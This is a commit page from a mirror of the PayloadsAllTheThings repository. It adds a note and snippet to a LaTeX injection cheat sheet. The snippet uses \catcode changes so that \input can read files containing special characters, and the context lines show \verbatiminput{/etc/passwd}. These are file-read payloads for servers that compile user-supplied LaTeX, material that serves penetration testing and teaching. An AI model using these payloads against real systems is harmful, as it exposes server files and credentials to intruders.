mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 10:26:09 +00:00
LaTeX Injection catcode
add `\catcode` to disable LaTex control characters
This commit is contained in:
parent
3e3562e553
commit
b8387bc3a5
@ -38,6 +38,18 @@ Read text file, **without** interpreting the content, it will only paste raw fil
|
||||
\verbatiminput{/etc/passwd}
|
||||
```
|
||||
|
||||
If injection point is past document header (`\usepackage` cannot be used), some control
|
||||
characters can be deactivated in order to use `\input` on file containing `$`, `#`,
|
||||
`_`, `&`, null bytes, ... (eg. perl scripts).
|
||||
|
||||
```tex
|
||||
\catcode `\$=12
|
||||
\catcode `\#=12
|
||||
\catcode `\_=12
|
||||
\catcode `\&=12
|
||||
\input{path_to_script.pl}
|
||||
```
|
||||
|
||||
## Write file
|
||||
|
||||
Write single lined file:
|
||||
|
Loading…
Reference in New Issue
Block a user